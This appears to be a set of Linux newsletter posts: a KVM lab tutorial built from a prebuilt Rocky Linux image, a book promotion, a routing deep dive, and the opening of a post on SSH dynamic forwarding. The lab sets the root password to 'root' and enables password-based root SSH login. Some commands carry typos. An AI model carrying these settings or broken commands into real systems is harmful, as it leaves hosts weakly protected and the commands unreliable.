Linux also provides a native virtualization stack built around KVM and QEMU.

With it, you can work directly with virtual machine disk images and build systems in a faster and more flexible way.

Instead of performing a full operating system installation each time, you can start from an existing image, prepare it for your environment, and run it as a virtual machine.

This approach is common in real-world environments where systems need to be created quickly, tested, replaced, or rebuilt without repeating the same installation process each time.

In this guide, you will use KVM to build a simple lab environment by importing and working with disk images.

You will go through the process step by step, from preparing the image to creating the virtual machine and accessing it.

Checking if your system supports virtualization

Before working with KVM, your system needs to support hardware virtualization.

Most modern CPUs already support it, but it’s worth verifying.

Run the following command:

$ grep -E 'vmx|svm' /proc/cpuinfo

This command looks inside /proc/cpuinfo, which contains information about your processor, and searches for specific flags.

The vmx flag indicates Intel virtualization support, while svm indicates AMD virtualization support.

If your system supports virtualization, you should see one of these flags in the output, usually repeated across multiple lines.

For example, you might see something like vmx or svm listed among the CPU features.

If you only want to confirm support without scrolling through the output, you can return the number of occurrences instead:

$ egrep -c '(vmx|svm)' /proc/cpuinfo

A value greater than 0 confirms that virtualization is supported.

If these command returns no output, virtualization is either not supported or disabled in the BIOS or UEFI settings. In most cases, it is simply disabled, and you can enable it from your firmware settings under options such as Intel VT-x or AMD-V.

• KVM relies on hardware virtualization to run virtual machines efficiently. Without it, you won’t be able to use KVM as expected.

Installing the KVM tools

KVM itself is part of the Linux kernel.

What you install are the tools used to create, manage, and interact with virtual machines.

For this demonstration, I’m using Fedora 42.

If you’re running Fedora or any Red Hat–based system, you can install the required packages with:

$ sudo dnf install qemu-kvm libvirt virt-install guestfs-tools genisoimage virt-manager virt-viewer

These packages give you everything needed to work with KVM.

qemu-kvm provides the virtualization backend, libvirt handles virtual machine management and networking, and virt-install allows you to create virtual machines from the command line.

The guestfs-tools package includes tools like virt-customize, which you’ll use later to prepare disk images.

The remaining tools, such as virt-manager and virt-viewer, provide graphical access if you need it, while genisoimage is useful when working with ISO files.

If you are using Ubuntu or another Debian-based system, you can install the equivalent tools with:

$ sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients virtinst libguestfs-tools genisoimage virt-manager virt-viewer

After installation, make sure the libvirtd service is running:

$ systemctl status libvirtd

If it is not running, start and enable it:

$ sudo clearsystemctl start libvirtd
$ sudo systemctl enable libvirtd

To manage virtual machines without using sudo, add your user to the libvirt group:

$ sudo usermod -aG libvirt $USER

Instead of logging out and back in, you can apply the change immediately with:

$ newgrp libvirt

The newgrp command allows you to switch your current session to a new group without logging out, so the updated permissions take effect right away.

If you prefer not to modify group membership, you can run the commands as root or continue using sudo.

If your user is not part of the libvirt group, you may run into permission errors when creating or managing virtual machines.

Now that the tools are installed, the next step is to get a disk image that we can use to build our lab.

If you’re enjoying this article,

I wrote a 700+ page book teaching Linux step by step, with real examples you can follow and break safely in your own lab.

If you’re serious about learning Linux properly, check it out:

FIRST STEPS WITH LINUX

Getting a disk image

To avoid going through a full operating system installation, you’ll work with prebuilt disk images.

These images already contain a minimal operating system and are ready to be used as virtual machines.

Most of these images are distributed in the qcow2 format, which is commonly used with KVM and QEMU.

You can download ready-made images from the OpenStack image repository.

They provide minimal images for distributions like RHEL, Fedora, and Ubuntu.

These images are lightweight and designed to boot quickly, which makes them ideal for testing and lab environments.

For this demonstration, I’ll be using the lastest cloud image from Rocky Linux.

You can download it from their official site.

Look for the Rocky Linux 10 cloud image (qcow2).

Cloud images are minimal by design and are intended to be customized and deployed quickly.

Once you’ve downloaded the image, move it to the default directory used by libvirt:

$ sudo mv Rocky-10-GenericCloud-Base.latest.x86_64.qcow2 /var/lib/libvirt/images/rock-10.qcow2

This is where libvirt expects virtual machine disk images to be stored.

In the example, I have moved and renamed the image to a new name (rock-10.qcow2)to make things simple.

The image is small when downloaded, but it will grow as you use it.

Make sure you have enough disk space available, especially if you plan to create multiple virtual machines.

At this point, you have a base image ready.

The next step is to prepare it for your environment before turning it into a virtual machine.

Preparing the disk image

The image you downloaded is minimal and not ready for direct use.

Cloud images are designed to be initialized dynamically, usually through tools like cloud-init.

For this setup, you’ll prepare the image manually so it behaves like a normal system.

To modify the image, you’ll use the virt-customize tool.

Run the following command:

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--hostname rocky-10-kvm-lab \
--root-password password:root \
--uninstall cloud-init \
--selinux-relabel

This command modifies the disk image before it is even booted.

The -a option specifies the path to the image.

The --hostname option sets the hostname of the virtual machine.

The --root-password option defines the root password. In this case, it is set to root.

The --uninstall cloud-init option removes cloud-init from the image. This avoids delays during boot, since the system will no longer wait for cloud-init configuration.

The --selinux-relabel option ensures that file contexts are correctly restored after making changes to the image. This is important on systems like Rocky Linux, Fedora, and other SELinux-enabled distributions.

The image must not be running when you use virt-customize. You are modifying it offline.

The virt-customize tool provides many more options than what is shown here. You can explore them using the manual pages (man virt-customize) and experiment based on your needs.

Now, the image is configured and ready to be used as a virtual machine.

The next step is to import it into KVM and create the virtual machine.

Creating the virtual machine

Now that the image is prepared, you can import it into KVM and create a virtual machine.

Run the following command:

$ sudo virt-install \
--name rocky-10-kvm-lab-demo \
--memory 1024 \
--vcpus 1 \
--disk /var/lib/libvirt/images/rock-10.qcow2 \
--import \
--os-variant rocky9.0 \
--noautoconsole

This command creates a virtual machine using the existing disk image.

The --name option defines the name of the virtual machine.

The --memory option sets the RAM in megabytes, and --vcpus defines how many virtual CPUs the system will use.

The --disk option points to the image you prepared earlier.

The --import option tells KVM to use the existing disk instead of installing a new operating system.

The --os-variant option helps optimize the virtual machine configuration for a specific operating system.

To see the operating systems available on your system, you can run:

$ osinfo-query os

This command queries the local OS information database and lists the operating systems recognized by libosinfo.

You can achieve the same thing with:

$ virt-install --osinfo list

But osinfo-query os is prefered since it provides additional info.

If you want to narrow the output, you can pipe it to grep. For example:

$ osinfo-query os | grep -i rocky

On my system, the latest available entry is rocky9.0.

However, the image used in this demonstration is Rocky Linux 10.1.

You can still use the closest available match when specifying the operating system.

You can also use the newer --osinfo option, which is based on the same underlying database and provides a more flexible way to define the operating system:

--osinfo detect=on,name=rocky9.0.

This tells libvirt to use information from the OS database to configure the virtual machine.

The detect=on option first tries to detect the operating system from the disk image.

If detection fails, it falls back to the value provided with name=rocky10.0.

This helps ensure that the virtual machine is created with suitable defaults for that operating system.

Accessing the virtual machine

Once the virtual machine is created, it starts running in the background.

To confirm that it is running, you can list active virtual machines:

$ virsh list

To connect to the system, you first need its IP address.

You can retrieve it using:

$ sudo virsh domifaddr rocky-10-kvm-lab-demo

This command shows the network interfaces associated with the virtual machine, including the assigned IP address.

Look for an entry under the address column.

Once you have the IP address, connect using SSH:

$ ssh root@192.168.122.227

Use the root password you configured earlier. N

You’ll notice the password does not work. SSH attempts different authentication methods and eventually fails with:

Permission denied (publickey,gssapi-keyex,gssapi-with-mic,password)

This is a good opportunity to understand what is happening.

On many cloud images, especially Rocky, root login using a password over SSH is disabled by default, even if a root password is set.

This means the system allows SSH access, but refuses password-based login for root.

A few common reasons for this behavior:

• PermitRootLogin is set to prohibit-password or without-password

• PasswordAuthentication is disabled

• The image is designed to use SSH keys instead of passwords

In this setup, you did not inject an SSH key, so SSH has no valid authentication method to use.

To confirm this, connect to the virtual machine console:

$ sudo virsh console rocky-10-kvm-lab-demo

If the login prompt does not appear immediately, press Enter a few times.

Log in as root using the password root.

Once inside, check the effective SSH configuration:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

The output clearly explains why the login failed.

passwordauthentication is enabled, but permitrootlogin is set to without-password, which means root login is only allowed using SSH keys, not a password.

You can verify the effective SSH configuration using sshd -T. This shows the final values after all configuration files and drop-in overrides are applied.

Let’s fix that by creating a drop-in file instead of modifying the main SSH configuration file:

$ printf 'PermitRootLogin yes\nPasswordAuthentication yes\n' > / etc/ssh/sshd_config.d/99-root-login.conf

$ systemctl restart sshd

Now verify the effective configuration again:

$ sshd -T | grep -E 'permitrootlogin|passwordauthentication'

You can now connect using SSH with the root password. First exit the console by pressing Ctrl + ]

$ ssh root@192.168.122.227

If you prefer key-based authentication, you can inject an SSH key when preparing the image with virt-customize.

For example:

$ ssh-keygen -t rsa

$ sudo virt-customize \
-a /var/lib/libvirt/images/rock-10.qcow2 \
--ssh-inject 'root:file:/root/.ssh/id_rsa.pub'

This adds your public key to the image so you can connect without a password:

$ ssh root@192.168.122.227

If the IP address does not appear, the virtual machine may still be initializing its network.

Give it a few seconds and run the command again.

At this point, you have a working virtual machine running from a prebuilt image.

You can log in, install packages, test configurations, and experiment freely without affecting your main system.

Every virtual machine you create from an image starts from the same baseline. If you need multiple systems, create a copy of the image for each virtual machine. A single disk image should not be shared between multiple VMs.

Stopping the virtual machine

Once you are done working with the virtual machine, you can stop it.

To see running virtual machines:

$ virsh list

To stop the virtual machine gracefully:

$ virsh shutdown rocky-10-kvm-lab-demo

This sends a shutdown signal to the guest operating system, allowing it to close services and unmount filesystems properly.

If the virtual machine does not respond, you can force it to stop:

$ virsh destroy rocky-10-kvm-lab-demo

This stops the virtual machine immediately, similar to cutting power.

If you want to start it again later:

$ virsh start rocky-10-kvm-lab-demo

Closing

At this point, you have a working virtual machine built from a prebuilt image.

No installation wizard. No repeated setup steps.

You took an image, prepared it, and turned it into a running system in a few commands.

This is a faster way to build lab environments.

You can keep a collection of images, adjust them for different use cases, and spin up new systems whenever you need them.

From here, you can go further.

Create multiple virtual machines, connect them together, simulate networks, or test real-world scenarios.

Everything starts from the same idea: take an image, run it, and use it.

That’s it.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Subscribe now

The reason is simple: I have been finishing something that took much longer than I originally expected.

For almost two years I’ve been working on a book called First Steps with Linux, a practical guide that takes you from zero Linux experience to confidently managing Linux systems.

Writing it alongside work, research, and the articles I publish here turned out to be a bigger project than I imagined. There were many moments where I thought it was almost finished, only to realize there were still chapters that needed rewriting, diagrams that needed improvement, or concepts that needed clearer explanations.

Today I’m happy to finally say:

The book is finished.

Why I wrote this book

Many of the articles on this newsletter focus on deep dives into specific Linux topics. Over time I noticed something interesting in the questions I received from readers.

Most people weren’t struggling with one isolated command or tool.

They were struggling with connecting the pieces together.

Linux has incredible documentation and countless tutorials online, but beginners often jump between random guides without seeing how everything fits together.

So the idea behind this book was simple:

Create a resource that teaches Linux as a system, not just as a collection of commands.

What the book covers

The final manuscript ended up much larger than I planned.

The book now runs 700+ pages and covers a wide range of practical Linux topics, including:

• Navigating the Linux command line and filesystem

• File permissions, SUID/SGID, Access Control Lists (ACLs), and file attributes

• Managing users and groups

• Working with disk partitions and filesystems such as ext4 and XFS, including partitioning, formatting, repairing, and mounting disks

• Software management using apt, dnf, and rpm-based systems, including managing local repositories

• Storage technologies such as LVM, RAID, swap, disk quotas, NFS, and autofs

• Working with regex, archives, and compressed files

• Process management, including foreground and background processes and priority control

• Task automation using cron, systemd timers, batch, and at

• Practical Linux networking: managing interfaces, IP addresses, and routing

The goal was to build something that helps readers move from basic Linux usage to confidently managing real systems.

Technical review

An early version of the book was technically reviewed by Alex Callejas, Services Content Architect at Red Hat and author of Fedora Linux System Administration.

His feedback helped refine several sections of the book and improve explanations across multiple chapters.

Beta readers

Before the final release, the book was shared with a small group of beta readers who carefully reviewed sections of the manuscript and provided detailed feedback.

Their comments helped clarify explanations, identify confusing areas, and improve several chapters across the book.

I’m very grateful for the time they invested in reading early drafts and helping shape the final version.

Where to get the book

To celebrate the launch, the book is available at a special launch price of $49.

The regular price will increase to $69 after the launch window.

You can get the book here:

Get the Book

Thank you

If you’ve been reading the articles on this newsletter, thank you.

Many of the ideas that shaped this book came from the discussions and questions shared here over the years.

Your feedback helped shape what the book eventually became.

I’ll return to publishing new Linux deep dives here soon. Now that the book is finally finished, there are several topics I’ve been wanting to write about.

Every time an application sends a packet, the Linux kernel decides where that packet should go. Sometimes the traffic stays local. Sometimes it leaves through a specific interface. In other cases, it must be forwarded to another network entirely. All of those decisions are made using the same routing logic, regardless of whether the system is acting as a simple workstation or as a multi-homed router.

This article looks at routing from the perspective of a single Linux host. We focus on how the kernel determines reachability and selects paths for outgoing traffic, working step by step through routes, scopes, routing tables, policy-based routing, and routing marks.

Rather than jumping straight into commands, the emphasis is on how routing decisions are made inside the kernel and how those decisions affect where packets actually go. Understanding this flow makes it easier to reason about routing behaviour, especially once systems become multi-homed or start handling traffic for other networks.

Routing vs Forwarding

Routing and forwarding are closely related, but they are not the same thing.

Routing is the decision-making process. It is about determining the best path a packet should take based on the information available to the kernel.

Forwarding is the action. It is the act of moving a packet from one network interface to another, or delivering it locally when the destination belongs to the system itself.

By default, IPv4 forwarding is disabled on a typical Linux host, so Linux will not route transit IPv4 packets from one network interface to another. This is intentional. A server should not accidentally behave like a router. When packet forwarding is enabled, Linux becomes capable of moving traffic between networks, but it still relies on routing information to decide how that traffic should flow.

To check whether IPv4 packet forwarding is enabled, you can use:

$ sysctl net.ipv4.ip_forward

If the output is 0, packet forwarding is disabled. If the output is 1, packet forwarding is enabled.

To enable packet forwarding temporarily, you can write directly to the kernel parameter:

$ echo 1 > /proc/sys/net/ipv4/ip_forward

Or use sysctl:

$ sysctl -w net.ipv4.ip_forward=1

Both methods take effect immediately, but the change does not persist across reboots.

To make packet forwarding permanent, add the following line to a drop-in file under /etc/sysctl.d/. You can choose any filename, but it is common to prefix it with a number, for example 99-ip-forward.conf:

net.ipv4.ip_forward = 1

Then apply the configuration:

$ sudo sysctl -p

Once a packet arrives on an interface, the kernel must answer a simple question:

Is this packet meant for me, or should it be sent somewhere else?

Routing determines the answer. Forwarding is what happens next.

IP Destination Classes

From the kernel’s point of view, every destination IP falls into one of three categories. This classification happens early and shapes every routing decision that follows.

Local destinations are IP addresses assigned to the system itself. This includes interface addresses and the loopback range.

You can see local destinations by inspecting interface addresses:

$ ip -c -4 -brief addr

Each address shown here represents traffic that terminates on the local machine. The loopback interface deserves special attention: the entire 127.0.0.0/8 range points back to the system itself and is commonly used for local testing and inter-process communication.

If you are coming from Cisco or Juniper, these are typically referred to as local routes, and they usually appear as /32 host routes in routing tables.

Connected networks are networks that are directly reachable through a local interface. If an interface is configured with an address in a given subnet, Linux knows that any IP within that subnet can be reached without a router.

You can view connected networks with:

$ ip route show scope link

These routes tell the kernel which networks are reachable directly and through which interface. Traffic destined for any of these networks is sent straight out of the corresponding interface, without involving a gateway.

For example, traffic to 192.168.8.1 is sent directly out of enp2s0.

If you come from Cisco or Juniper environments, these are known as connected routes. Notice the use of scope link here; we will revisit scopes in more detail shortly.

Remote networks include everything else. If a destination is neither local nor directly connected, Linux must send the packet to a router that is directly reachable.

These routers are typically represented by default routes:

$ ip route show default

In this case, the system has two default routes, one per interface. Linux will not use both arbitrarily. Instead, it compares their metrics and selects the preferred path. We will look at route selection and metrics in detail later.

This classification is fundamental. Before the kernel evaluates metrics or chooses a gateway, it first determines whether a destination is local, connected, or remote.

Sysxplore is an indie, reader-supported publication.
I break down complex technical concepts in a straightforward way, making them easy to grasp. A lot of research goes into every piece to ensure the information you read is as accurate and practical as possible.

To support my work, consider becoming a free or paid subscriber and join the growing community of tech professionals.

Subscribe now

What are Routes

A route is simply an instruction that tells the kernel how to reach a destination.

At a minimum, a route answers three questions:

• Which destination does this apply to?

• Where should the packet go next?

• Which interface should be used?

In Linux, a route is made up of a few core components:

• Destination

  This can be a single IP address (a host route), a subnet (a network route), or a catch-all default route (0.0.0.0/0).

• Next hop

  This is the IP address of the next router the packet should be sent to. If the destination is directly connected, no next hop is required.

• Interface

  This is the local network interface the packet will exit from.

You can see how the kernel interprets a route decision using ip route get. For example:

$ ip route get 1.1.1.1

This output shows the full routing decision for that destination:

• 1.1.1.1 is the destination address.

• 192.168.8.1 is the next hop (gateway).

• enp2s0 is the interface used to send the packet.

• 192.168.8.102 is the source address chosen for the packet.

• uid 1000 indicates which user initiated the traffic.

There are additional routing attributes, such as metrics and routing tables, weight, which we will look at later. For now, the important point is that this is the final decision the kernel has made for that packet.

If the destination belongs to a directly connected network, there is no next hop. The packet is sent straight out of the appropriate interface.

If the destination is remote, the route must specify a gateway. That gateway itself must be reachable through a directly connected network. Linux will never forward traffic to a next hop it cannot already reach.

Routes are not guesses or suggestions. They are explicit rules the kernel follows when deciding where packets should go.

Route Scopes

Route scopes describe how far a route can “see”. They define the visibility of a route and place boundaries on where it can be used. These scopes map directly to the destination classes we discussed earlier.

Linux primarily uses three scopes: host, link, and global.

Host scope routes apply only to addresses on the local machine. These include interface IP addresses and the loopback range. Traffic matching a host-scope route never leaves the system and never involves packet forwarding.

You can inspect host-scope routes across all routing tables with:

$ ip route show scope host table all

The loopback range appears as 127.0.0.0/8 because it is treated as a special local network. Any address within that range will always resolve back to the local system:

$ ping 127.2.4.23 -c 3

Even though the address looks arbitrary, the traffic never leaves the host.

Link scope routes apply to directly connected networks. These routes are used for destinations that can be reached without passing through a router. Traffic matching a link-scope route is sent directly out of the associated interface.

You can view link-scope routes with:

$ ip route show scope link table all

Alongside unicast routes, you’ll also see broadcast routes. Broadcast addresses target all hosts on a local network segment and are automatically created by the kernel for each connected network.

Global scope routes apply to destinations beyond the local system and its directly connected networks. These routes require one or more routers to reach the final destination. The default route is the most common example.

You can identify global-scope routes with:

$ ip -4 route show scope global table all

These routes act as catch-all paths for traffic that does not match any more specific destination.

Route scopes are not cosmetic labels. They allow the kernel to quickly eliminate routes that cannot possibly apply to a given destination, making route selection faster and more predictable.

Routing Tables

Linux does not store all routes in a single flat list. Instead, routes are grouped into routing tables. Each table represents a separate set of routing decisions that the kernel can consult when processing a packet.

You may have already noticed this in earlier commands, where we used table all to display routes from every table at once. By default, however, most commands operate on a single table unless told otherwise.

Linux ships with three routing tables by default.

The local table is a special table maintained by the kernel. It contains routes for addresses that belong to the local system itself, including interface addresses and loopback. This table cannot be modified directly.

You can view its contents with:

$ ip route show table local

This table effectively maps local IP addresses to the interfaces they belong to. Any packet destined for one of these addresses is delivered locally and never forwarded.

The main table is where most routing decisions take place. Connected networks, static routes, and default gateways typically live here. When you add or remove routes without explicitly specifying a table, you are modifying the main table.

You can inspect it with:

$ ip route show table main

This table is populated automatically when interfaces come up, addresses are assigned (for example via DHCP), or routes are added manually.

The default table exists primarily for legacy compatibility and is rarely used directly on modern systems. In practice, routing decisions almost always involve the local and main tables unless policy-based routing is configured.

Each routing table is identified by a numeric ID. These IDs can be mapped to human-readable names using the rt_tables file:

$ cat /etc/iproute2/rt_tables

On some distributions, such as Fedora, this file may not exist under /etc by default. In that case, the vendor-supplied definitions are located at:

/usr/share/iproute2/rt_tables

If /etc/iproute2/rt_tables is missing, it can be created manually. Entries placed there override or extend the system tables without modifying vendor files, which ensures they are not overwritten during package upgrades.

When working with routing commands, you can always refer to a table by its numeric ID if you prefer:

$ ip route show table 254

Linux supports up to 255 routing tables. This is not accidental or excessive; it enables advanced routing setups where traffic must be handled differently depending on its source, destination, or other attributes. We will explore those scenarios when we get to policy-based routing.

Route Selection

When multiple routes could match a destination, Linux follows a strict and well-defined selection process. This process is deterministic, which means the kernel will always make the same decision given the same routing information.

The most important rule is longest prefix match.

A route with a more specific destination always wins over a less specific one. A /32 prefix-length host route is preferred over a /25, a /25 is preferred over a /24, and any subnet route is preferred over a default route. This is why the default route is only used as a last resort, when no more specific route exists.

Once prefix length is considered, Linux looks at metrics.

If multiple routes have the same prefix length, the route with the lowest metric is selected. Metrics allow one route to be preferred over another even when both are otherwise equally valid.

You can see this clearly with multiple default routes:

$ ip route show default

Both routes match the same destination (0.0.0.0/0), but the route with metric 100 is preferred over the one with metric 600.

You can verify the decision the kernel makes with:

$ ip route get 1.1.1.1

Even though both default routes are valid, the packet is sent via 192.168.8.1 because it has the lower metric.

Metrics are commonly used to express preference or priority. A route with a higher metric can act as a backup path that is only used when the preferred route becomes unavailable.

Only when both prefix length and metric are equal does Linux consider more advanced mechanisms, such as equal-cost routing or equal-cost multi-path (ECMP). At that point, the kernel no longer selects a single “best” route, but instead treats multiple routes as equally valid candidates.

ECMP Routing

Linux supports Equal-Cost Multi-Path (ECMP) routing, which allows traffic to be distributed across multiple gateways when more than one route to a destination is equally valid. Instead of committing to a single next hop, the kernel can spread traffic across several paths at Layer 3.

Path selection in ECMP is not random. The kernel uses a hashing mechanism to decide which next hop a packet, or flow, should take. How predictable this behaviour is depends on the hashing policy in use.

To see ECMP in action, consider a route with two equal-cost gateways:

sudo ip route add 34.160.111.145 \
  nexthop via 192.168.8.1 dev enp2s0 weight 1 \
  nexthop via 10.108.75.150 dev wlo1 weight 1

This installs a route to 34.160.111.145 with two next hops of equal cost:

The address 34.160.111.145 belongs to ifconfig.me, a service that simply returns your public IP address. If you repeatedly run:

$ curl ifconfig.me

you might expect traffic to alternate between the two gateways. By default, that does not happen.

The reason lies in how Linux hashes ECMP traffic. You can inspect the current hashing policy with:

$ sysctl net.ipv4.fib_multipath_hash_policy

On most systems, the value is 0:

With this setting, the kernel hashes only on the destination IP address. All traffic sent to the same destination is therefore pinned to a single next hop. Source IP, source port, destination port, and protocol are ignored.

This behaviour is intentional. It provides stable and predictable routing decisions: every connection to the same server consistently uses the same gateway. The trade-off is limited load distribution. If many connections target a single destination, one link may carry all the traffic while others remain idle.

Enabling flow-based ECMP hashing

To distribute traffic at a finer granularity, the hashing policy can be changed to:

$ sudo sysctl -w net.ipv4.fib_multipath_hash_policy=1

With this setting, the kernel hashes on the full five-tuple:

• source IP

• destination IP

• source port

• destination port

• protocol

Each TCP or UDP flow is treated independently. This allows different connections to the same destination to use different next hops, resulting in much better load distribution.

The catch: asymmetric routing

Flow-based ECMP assumes that return traffic will follow the same path as outbound traffic. In environments where this assumption holds, such as controlled routed networks or data centers, this approach works well.

On a typical workstation or laptop, that assumption often breaks down.

In this example, the system is connected to two completely different ISPs: one via Ethernet and another via Wi-Fi. Each gateway performs its own NAT and has no awareness of the other path. When flow-based hashing is enabled, Linux is free to choose either interface for each new connection.

A TCP connection to ifconfig.me might begin with a SYN packet leaving over Wi-Fi. The upstream NAT on that gateway creates state for the connection and forwards it to the internet. A moment later, a retransmission or ACK is sent, but this time the ECMP hash selects the Ethernet path instead.

From the ISP’s point of view, that packet makes no sense.

It arrives on a different gateway, with a source address that does not match any existing NAT state, and without a corresponding connection entry. The packet is silently dropped. Nothing is misconfigured on the Linux host, yet the connection stalls.

From the user’s perspective, the behaviour appears random:

$ curl ifconfig.me   → works
$ curl ifconfig.me   → hangs
$ curl ifconfig.me   → works again

This is asymmetric routing in practice. Linux did exactly what it was told to do, but the surrounding network could not support it. Consumer ISPs in particular are unforgiving of this pattern.

This behaviour explains why Linux does not enable flow-based ECMP by default.

In most environments, the kernel cannot assume symmetric return paths. Gateways may belong to different networks, NAT is almost always involved, and upstream routing is outside the host’s control. In such conditions, aggressive load distribution is more likely to break connections than improve throughput.

By defaulting to destination-based hashing, Linux chooses predictability over maximum utilisation. Traffic to the same destination remains pinned to a single path, NAT state remains consistent, and connections stay stable, even on multi-homed workstations and laptops.

Metric vs Weight

You may have noticed that when creating an ECMP route, we did not explicitly set a metric:

$ sudo ip route add 34.160.111.145 \
  nexthop via 192.168.8.1 dev enp2s0 weight 1 \
  nexthop via 10.108.75.150 dev wlo1 weight 1

This is because ECMP routes are, by definition, equal-cost routes. All next hops within an ECMP route implicitly share the same metric. If no metric is specified, the default value is used.

You can still assign a metric explicitly if needed:

$ ip route del 34.160.111.145

$ sudo ip route add 34.160.111.145 metric 100 \
  nexthop via 192.168.8.1 dev enp2s0 weight 1 \
  nexthop via 10.108.75.150 dev wlo1 weight 1

Which results in:

$ ip route show scope global

In this case, the metric applies to the route as a whole, not to individual next hops.

What metrics are used for

A metric is used to compare different routes to the same destination.

When multiple routes exist, the kernel first applies longest prefix match. If prefix lengths are equal, the route with the lowest metric is preferred. Metrics are therefore used to express preference, priority, or backup behaviour between routes.

For example, a route with a higher metric may exist purely as a fallback and will only be used if the preferred route becomes unavailable.

What weights are used for

A weight, on the other hand, is used within an ECMP route.

Weights control how traffic is distributed across multiple equal-cost next hops. When all next hops have the same weight, traffic is distributed evenly. When weights differ, traffic is split proportionally.

For example, assigning a weight of 3 to one next hop and 1 to another results in an approximate 3:1 traffic split, or roughly 75/25.

Weights do not influence route selection. They only influence traffic distribution after a route has already been selected.

So, in simple words:

• Metric determines which route is preferred when multiple routes match the same destination.

• Weight determines how traffic is distributed across multiple next hops within a single ECMP route.

Both serve different purposes and operate at different stages of the routing decision process.

Special Routes

Not all routes exist to deliver traffic. Some routes exist specifically to control what happens when traffic matches them.

Linux supports several special route types that change how packets are handled when a destination is matched.

An unreachable route tells the kernel that a destination cannot be reached. When a packet matches such a route, the kernel immediately rejects it and sends an ICMP destination unreachable message back to the sender.

You can create an unreachable route like this:

$ sudo ip route add unreachable 1.1.1.1

The same can be applied to an entire subnet:

$ sudo ip route add unreachable 192.168.10.0/24

A prohibit route is similar, but slightly stricter. When traffic matches a prohibit route, the kernel rejects it with an ICMP administratively prohibited message.

$ sudo ip route add prohibit 1.1.1.1

This type of route is often used to explicitly deny traffic while still providing feedback to the sender.

A blackhole route silently drops packets. No response is sent back to the sender.

$ sudo ip route add blackhole 1.1.1.1

Because there is no feedback, blackhole routes are commonly used for traffic filtering, denial-of-service mitigation, or to prevent unwanted traffic from consuming resources.

Blackhole routes are also frequently used in routing protocols such as BGP. A route may need to exist in the routing table so it can be advertised, even though no traffic should actually be forwarded.

Another common use case is site-to-site VPNs. If traffic for a remote subnet should only ever traverse a tunnel, a blackhole route can prevent that traffic from leaking out through a default gateway when the tunnel is down.

Special routes do not replace firewall rules, but they complement them. They operate directly at the routing layer and influence packet handling before any forwarding decision is made.

Routing Rules and Policy-Based Routing (PBR)

So far, routing decisions have been based entirely on the destination address. That works well in simple setups, but it quickly becomes limiting once traffic needs to be treated differently depending on where it comes from or how it enters the system.

Policy-based routing (PBR) addresses this limitation by introducing routing rules.

Instead of always consulting the same routing table, Linux maintains a rule database that determines which routing table should be used for a given packet. Only after a table is selected does the kernel perform normal route lookup within that table.

You can view the current set of routing rules with:

$ ip rule show

Rules are evaluated in order, from top to bottom. As soon as a rule matches, the kernel consults the routing table associated with that rule. If a suitable route is found, the lookup stops.

This mechanism makes it possible to base routing decisions on more than just the destination address. Rules can match on source address, destination address, incoming interface, firewall marks, and other attributes.

If you are familiar with enterprise firewalls such as FortiGate or Check Point, this approach should feel familiar. In those platforms, most routing decisions are also policy-driven rather than purely destination-based.

A common use case for policy-based routing is multi-WAN routing, where traffic must exit through different internet connections depending on its characteristics.

To demonstrate this, we can create two custom routing tables and populate each with a different default gateway.

First, define the routing tables:

$ sudo mkdir -p /etc/iproute2

$ echo "200     wan-wifi" | sudo tee -a /etc/iproute2/rt_tables
$ echo "201     wan-ethernet" | sudo tee -a /etc/iproute2/rt_tables

Next, add a default route to each table:

$ sudo ip route add default via 10.108.75.150 dev wlo1 table wan-wifi
$ sudo ip route add default via 192.168.8.1  dev enp2s0 table wan-ethernet

You can verify the contents of each table with:

$ ip route show table wan-wifi
$ ip route show table wan-ethernet

At this point, the routes exist, but they are not used yet. The kernel still relies on the main routing table unless instructed otherwise.

Now we can introduce policy rules.

In this example, traffic destined for ifconfig.me (34.160.111.145) will be routed via Wi-Fi, while traffic destined for ifconfig.co (104.21.54.91) will be routed via Ethernet:

$ sudo ip rule add to 34.160.111.145 table wan-wifi
$ sudo ip rule add to 104.21.54.91 table wan-ethernet

Displaying the rules again shows the new entries:

$ ip rule show

The ordering is important. These rules are evaluated before the main table, so matching traffic is redirected to the appropriate routing table.

Testing confirms the behaviour:

$ curl ifconfig.me
$ curl ifconfig.co

Each destination uses a different outbound interface and therefore returns a different public IP address.

Policy-based routing can be applied in many ways. When a system acts as a router, rules commonly match on the source address using from. When more granular control is needed, rules can match on both from and to, or on other attributes entirely.

Routing Marks

One of the most powerful routing mechanisms in Linux is the firewall mark.

A firewall mark is a numeric tag that can be attached to packets as they pass through the system. Routing rules can then match on that mark and select a routing table accordingly.

This adds another layer of flexibility to policy-based routing. Instead of matching only on addresses or interfaces, routing decisions can be influenced by anything the firewall is able to inspect or classify.

The idea is simple:

• The firewall marks the packet.

• The routing rules interpret that mark.

• The kernel selects the appropriate routing table.

Routing itself still happens at Layer 3. The firewall does not route traffic; it only labels packets. The routing subsystem then uses those labels to decide where packets should go.

This approach allows routing decisions to be based on a wide range of criteria, including:

• incoming or outgoing interface

• source or destination address

• protocol or port

• connection state

• application-specific characteristics

Because marking happens before routing decisions are made, it integrates cleanly with the existing policy routing framework.

Firewall marks are commonly used in more advanced setups, such as:

• complex multi-WAN designs

• VPN traffic segregation

• service-specific routing

• selective traffic steering

The key advantage is separation of concerns. The firewall focuses on classification, while the routing subsystem focuses on path selection. This keeps configurations easier to reason about and avoids overloading routing rules with complex matching logic.

Routing marks are a deep topic on their own and deserve a dedicated discussion. We will explore them in more detail in a separate article.

Thanks for reading!

If you enjoyed this content, don’t forget to leave a comment, like ❤️ and subscribe to get more posts like this every week.

Instead of forwarding one specific port to one specific service, dynamic port forwarding turns SSH into a local proxy that can carry any TCP traffic through the connection. Because of this flexibility, an SSH session using dynamic forwarding can behave almost like a lightweight, application-level VPN.

The idea is simple: SSH opens a SOCKS5 proxy on your machine. Any application that knows how to use a SOCKS proxy, web browsers, package managers, command-line tools, can send their traffic into it. SSH then decides where that traffic should go based on the requests coming from the application. It’s the application, not the tunnel, that chooses the final destination.

You will often see dynamic port forwarding used for web browsing. By routing your browser’s traffic through an SSH tunnel, you can make it appear as if you’re browsing from the SSH server’s network. This is useful for accessing geo-restricted content, bypassing local network filters, or simply adding an extra layer of encryption to your web traffic.

To see this behavior clearly, we’ll recreate a situation where normal internet access is blocked and then use dynamic forwarding to work around it.

Lab Setup

For this scenario, we can reuse our local ssh tunnel lab setup, so we have:

• The client machine (192.168.60.10) where I’ll run my SSH command and open the tunnel.
